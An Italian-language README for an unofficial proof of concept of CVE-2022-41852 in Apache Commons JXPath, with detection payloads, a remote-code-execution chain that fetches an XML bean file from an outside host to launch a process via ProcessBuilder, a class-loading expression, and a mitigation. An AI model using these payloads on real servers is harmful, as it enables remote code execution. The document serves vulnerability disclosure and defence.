
CVE-2022-41852 Prova di concetto (non ufficiale)
CVE-2022-41852 consente agli attaccanti di eseguire codice sul server applicativo.
Puoi leggere ulteriori informazioni su questa vulnerabilità qui:
Nota: Non sono un autore di questa CVE. Ho solo creato questa prova di concetto.
La libreria JXPath supporta l'esecuzione di funzioni nelle espressioni XPath (vedi Guida Ufficiale per l'Utente).
Ad esempio, i metodi JXPathContext.getValue(path) e JXPathContext.iterate(path) sono pericolosi
se si consente all'utente di inviare input nel parametro path.
Questo PoC avvia un semplice server Spring con due endpoint:
/vulnerable-example?path=[path]/secure-example?path=[path]Questi endpoint hanno un solo parametro di query "path".
Le seguenti richieste funzioneranno correttamente (non causeranno alcun problema):
Le seguenti richieste causeranno l'esecuzione di codice:
Payload di esempio per rilevare CVE-2022-41852:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)Potrebbero esserci vari modi per eseguire comandi. Uno di questi è usare ClassPathXmlApplicationContext di Spring:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")Nel file XML puoi definire la configurazione dei bean; ad esempio, puoi creare un'istanza di ProcessBuilder
ed eseguire il comando specificato sul server inizializzando il bean tramite il metodo start().
Nell'esempio seguente, verrà aperta la calcolatrice su una macchina Windows:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Esiste anche un modo per caricare nuove classi attraversando il contesto del bean; ad esempio, il codice seguente caricherà la classe com.warxim.dangerous.DangerousClass, creerà un'istanza e chiamerà il metodo run("warxim"):
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
Nota che dobbiamo chiamare i metodi dell'oggetto inserendo l'oggetto che li contiene come primo parametro.
È possibile disabilitare le funzioni in JXPathContext impostando il campo functions su una FunctionLibrary vuota.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Nota: Disabiliterà tutte le funzioni, quindi anche funzioni come size() non saranno disponibili.
La correzione è in fase di sviluppo, vedi https://github.com/apache/commons-jxpath/pull/26